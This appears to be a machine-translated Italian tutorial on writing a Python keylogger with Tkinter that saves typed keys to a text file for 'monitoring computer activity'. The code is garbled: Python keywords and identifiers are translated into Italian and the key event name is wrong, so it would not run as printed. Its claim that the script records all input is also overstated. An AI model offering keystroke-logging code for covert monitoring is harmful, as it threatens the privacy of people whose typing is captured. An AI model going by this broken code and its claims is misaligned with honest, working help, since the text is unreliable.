November 12
È possibile creare un programma keylogger utilizzando Python per catturare i tasti digitati da tastiera di un computer. Le combinazioni di tasti vengono salvate in un file di testo, e registra tutti gli input. È possibile utilizzare un key logger per monitorare l'attività del computer.
1 Avviare IDLE, fare clic sul menu "File" e selezionare "Nuova Finestra" per lanciare una nuova finestra. Premere Ctrl e S per lanciare la finestra "Salva con nome". Utilizzare "getKeyLogger", come il nome del file e fare clic su "Salva".
2 Aggiungere la seguente riga di codice per importare lo spazio dei nomi "Tkinter" e definire il percorso del file che si desidera utilizzare per accedere:
importare Tkinter come tk
myFile = open ( "C: /temp/keyFile.txt", "w")
3 Copiare e incollare il seguente codice per salvare ogni battitura al file:
def pressione di un tasto (evento):
if event.keysym == 'Escape':
main.destroy()
keyPressed = event.char
myFile.write(keyPressed)
4 Aggiungere il seguente codice per consentire a un utente sa che può iniziare a digitare, e che egli può premere Esc per terminare il programma:
principale = tk.Tk ()
print "Premere un tasto (tasto Esc per uscire):"
main.bind_all ( '<chiave>', pressione di un tasto)
main.withdraw ()
main.mainloop ()
myFile.close ()
5 Fare clic sul pulsante Start "di Windows" e digitare "cmd" nella sezione "Cerca programmi e file" box. Premere Invio per aprire il prompt dei comandi. Vai a "C: \ Python <numero di versione> \" ". Python getKeyLogger" e digitare Premere Invio per eseguire il programma. Vai a "C: / temp /" e fare doppio clic su "keyFile.txt" per visualizzare i dati di battitura.